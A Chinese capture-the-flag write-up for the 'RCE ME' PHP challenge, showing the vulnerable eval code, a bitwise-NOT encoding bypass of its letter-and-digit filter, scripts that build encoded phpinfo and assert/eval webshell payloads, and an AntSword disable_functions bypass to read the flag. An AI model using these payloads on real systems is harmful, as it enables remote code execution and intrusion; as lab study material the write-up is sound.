[极客大挑战 2019]RCE ME1

发布于:2024-10-11 ⋅ 阅读:(88) ⋅ 点赞:(0)

 <?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

 开始代码审计.

意思就是我们传入的code的value要到达eval()函数,我们需要绕过两个过滤

首先是长度不能大于40,之后便是我们传入的内容不能是大小写字母以及0-9的数字.

绕过方法呢可以使用取反绕过,以及异或绕过.

 我们这里采用取反绕过的方法.

首先构造exp,去看看他禁用了哪些函数.

<?php
$phpinfo=urlencode(~'phpinfo');
echo '(~'.$phpinfo.')();';
?>

result:(~%8F%97%8F%96%91%99%90)();

payload: 

http://ffc6c847-30f6-4efb-aea5-fff4306738a6.node5.buuoj.cn:81/?code=(~%8F%97%8F%96%91%99%90)();

看来禁用的还是比较多的一会可能需要使用这些被使用了disable_function()的函数了. 

之后构造webshell,由于php版本的问题呢,我们不能直接构造assert($_POST["cmd"]),我们需要构造构造成assert(eval($_POST["cmd"])),这种形式.

话不多说,开始构造webshell.

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[love]))';
$d=urlencode(~$c);
echo $d;
 ?>


result:%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6

链接蚁剑客.

http://1183e56b-6266-4676-8c7e-fe5a9f33d291.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6);

 

之前我们提到了,他禁用了很多函数方法,我们可以通过下面蚁剑的绕过disable_functions的插件进行绕过.

 

选择PHP7_GC_UAF 

 

 之后执行/readflag,来读取flag.

得到flag,游戏结束. 

 

 


网站公告

今日签到

点亮在社区的每一天
去签到